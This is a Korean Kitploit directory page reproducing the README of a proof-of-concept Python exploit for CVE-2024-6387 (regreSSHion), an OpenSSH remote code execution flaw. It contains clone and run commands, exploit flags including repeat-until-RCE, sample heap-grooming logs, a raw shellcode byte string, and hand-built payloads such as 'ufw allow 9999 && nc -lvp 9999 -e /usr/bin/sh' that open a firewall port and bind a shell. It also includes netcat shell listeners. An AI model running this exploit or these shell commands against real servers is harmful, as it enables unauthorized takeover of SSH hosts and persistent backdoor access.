Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-6387 — regreSSHion 익스플로잇을 위한 개념 증명 파이썬 스크립트. | Kitploit
도구/GitHubGitHub/l-urk/cve-2024-6387
Vulnerability AnalysisExploitationShellcodeNetwork SecurityPenetration TestingRemote Access ToolShellcode GenerationPayload DevelopmentBinary Exploitation
GitHubl-urk/cve-2024-6387

CVE-2024-6387

regreSSHion 익스플로잇을 위한 개념 증명 파이썬 스크립트.

1251년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2024-6387 regreSSHion

regreSSHion 익스플로잇을 위한 개념 증명 파이썬 스크립트. 버전 0.2.1 빌드 POC regreSSHion-green-banner

설치

root@kitploit:~
git clone https://github.com/l-urk/CVE-2024-6387.git
root@kitploit:~
cd CVE-2024-6387
root@kitploit:~
pip3 install -r requirements.txt
root@kitploit:~
python3 regreSSHion.py -h

사용법

root@kitploit:~
🔒 CVE-2024-6387 regreSSHion 원격 코드 실행 취약점 익스플로잇 스크립트

usage: regreSSHion.py [-h] -i IP -p PORT [-t] [-c] [-d] [-r] [-x] [-y] [-z]

🔒 CVE-2024-6387 regreSSHion remote code execution vulnerability exploit script

options:
  -h, --help            도움말 메시지를 표시하고 종료합니다.
  -i IP, --ip IP        대상 SSH 서버 IPv4 (형식: -i 0.0.0.0)
  -p PORT, --port PORT  대상 SSH 서버 포트 번호 (형식: -p 22)
  -t, --time            모든 로그 출력에 시간 표시 활성화 (형식: -t)
  -c, --clear           익스플로잇 실행 전 화면 지우기 (형식: -c)
  -d, --debug           실행 시 디버그 로그 출력 보기 활성화 (형식: -d)
  -r, --repeat          RCE 성공할 때까지 익스플로잇 반복 활성화 (형식: -r)
  -x, --skipssh         SSH 핸드셰이크 건너뛰기 활성화 (형식: -x)
  -y, --skipheap        힙 및 파싱 건너뛰기 활성화 (형식: -y)
  -z, --skipfinal       최종 ID 확인 건너뛰기 활성화 (형식: -z)

🔒 영향을 받는 OpenSSH 버전: 1.2.2p1 ~ 4.4 및 8.5p1 ~ 9.8

🔒 연락처: github.com/l-urk - x.com/l_urkk

스크립트를 사용하려면 python3로 regreSSHion.py를 실행하세요.

  • ip를 취약한 SSH 서버 IPv4 주소로 설정
  • 포트를 취약한 SSH 서버 포트 번호로 설정
root@kitploit:~
python3 regreSSHion.py --ip 127.0.0.1 --port 22
root@kitploit:~
2024-08-03 22:42:55,944 - INFOS - Attempting to connect to 127.0.0.1:22 (attempt 1)
2024-08-03 22:42:55,945 - INFOS - Connection established
2024-08-03 22:42:55,945 - INFOS - Performing SSH handshake...
2024-08-03 22:43:05,014 - INFOS - Received KEX_INIT (5 bytes)
2024-08-03 22:43:05,015 - INFOS - SSH handshake successful.
2024-08-03 22:43:05,015 - INFOS - Preparing heap...
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 1
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 2
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 3
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 4

스크립트가 여기까지 왔다고 가정해 봅시다...

root@kitploit:~
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 3
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 4
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 5
2024-08-03 22:46:45,858 - INFOS - Sent large string
2024-08-03 22:46:45,858 - INFOS - Heap preparation complete.
2024-08-03 22:47:05,879 - INFOS - Estimated parsing time: 0.000056 seconds
2024-08-03 22:47:05,880 - INFOS - Final packet sent successfully.
2024-08-03 22:47:05,880 - INFOS - Verifying exploit success.
2024-08-03 22:47:15,890 - WARN! - No response received for verification.

익스플로잇 검증 성공 메시지가 나타나면 페이로드가 성공적으로 전달되고 실행된 것입니다. 스크립트는 성공할 때까지 몇 번 시도합니다. 성공 메시지를 받는 감을 익힐 때까지 자신의 취약한 SSH 서버에서 시도해 볼 것을 권장합니다.

root@kitploit:~
2024-08-03 22:47:15,891 - ERROR - Exploitation failed.

디버그 모드

  • 디버그 모드를 활성화하면 더 자세한 출력을 얻을 수 있습니다. 수신된 SSH 버전 문자열, 패킷 길이 정보 및 기타 여러 가지, 로깅 가능한 거의 모든 것이 표시됩니다.
root@kitploit:~
python3 regreSSHion.py --ip 127.0.0.1 --port 22 --debug

출력 예시:

root@kitploit:~
2024-08-03 22:44:53,962 - DEBUG - Logging is set to DEBUG level
2024-08-03 22:44:53,962 - INFOS - Attempting to connect to 127.0.0.1:22 (attempt 1)
2024-08-03 22:44:53,963 - INFOS - Connection established
2024-08-03 22:44:53,963 - INFOS - Performing SSH handshake...
2024-08-03 22:44:53,963 - DEBUG - Sent SSH version string.
2024-08-03 22:44:53,963 - DEBUG - Waiting to receive SSH version string
2024-08-03 22:45:03,256 - DEBUG - Received SSH version string: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
2024-08-03 22:45:04,373 - INFOS - Received KEX_INIT (4 bytes)
2024-08-03 22:45:04,373 - INFOS - SSH handshake successful.
2024-08-03 22:45:04,373 - INFOS - Preparing heap...

셸코드 페이로드

기본 셸코드는 ufw를 사용하여 수신 포트 9999를 열고 포트 9999에서 nc 리스닝 셸을 시작합니다.

root@kitploit:~
    shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\x7f\x00\x00\x01\x66\x68\x27\x0f\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x56\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

셸코드 페이로드 생성

ASCII to hex 편집기를 사용하여 자신만의 셸코드 페이로드를 만들 수 있으며, 수동으로 셸코드로 변환할 수 있습니다. 저는 이 ASCII-to-hex 웹사이트를 사용합니다: https://www.rapidtables.com/convert/number/ascii-to-hex.html

  • 셸코드에 원하는 텍스트를 입력하세요.
  • 설정에서 'User defined'와 입력 상자에 '\x'를 사용하세요.
  • 모든 대문자 X를 소문자 x로 바꾸세요.
  • 메모장 또는 문자 대체가 가능한 다른 프로그램을 사용하세요.
  • 마지막 \x를 끝에서 16진수 문자열의 시작으로 옮기세요.
  • 셸에서 해석할 수 있도록 양쪽 끝에 따옴표를 추가하세요.

셸코드 페이로드 예시

hello world

root@kitploit:~
hello world
root@kitploit:~
"\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64"

printf hello world

root@kitploit:~
printf hello world
root@kitploit:~
"\x70\x72\x69\x6E\x74\x66\x20\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64"

make test file

root@kitploit:~
test > test
root@kitploit:~
"\x74\x65\x73\x74\x20\x3E\x20\x74\x65\x73\x74"

Allow incoming connections on port 9999 & open a nc shell on port 9999

root@kitploit:~
ufw allow 9999 && /usr/bin/nc -lvp 9999 -e /usr/bin/sh
root@kitploit:~
"\x75\x66\x77\x20\x61\x6C\x6C\x6F\x77\x20\x39\x39\x39\x39\x20\x26\x26\x20\x2F\x75\x73\x72\x2F\x62\x69\x6E\x2F\x6E\x63\x20\x2D\x6C\x76\x70\x20\x39\x39\x39\x39\x20\x2D\x65\x20\x2F\x75\x73\x72\x2F\x62\x69\x6E\x2F\x73\x68"

send_socket.py

셸코드 페이로드의 실행을 테스트하려면 send_socket.py 스크립트를 사용할 수 있습니다. 사용법:

root@kitploit:~
usage: send_socket.py [-h] [-i IP] [-p PORT] [-s SHELLCODE]

send shellcode to a target socket (ip and port)

options:
  -h, --help            show this help message and exit
  -i IP, --ip IP        target ip address (default: 127.0.0.1)
  -p PORT, --port PORT  target tcp socket port (default: 1111)
  -s SHELLCODE, --shellcode SHELLCODE
                        shellcode hex to send in format: \x00\x00\x00\...etc (default: F13)

송신자:

root@kitploit:~
python3 send_socket.py -i 127.0.0.1 -p 1111

수신자:

  • 원시 텍스트 해석
root@kitploit:~
nc -lvp 1111
  • 셸 실행
root@kitploit:~
nc -lvp 1111 -e /usr/bin/bash
도구 다운로드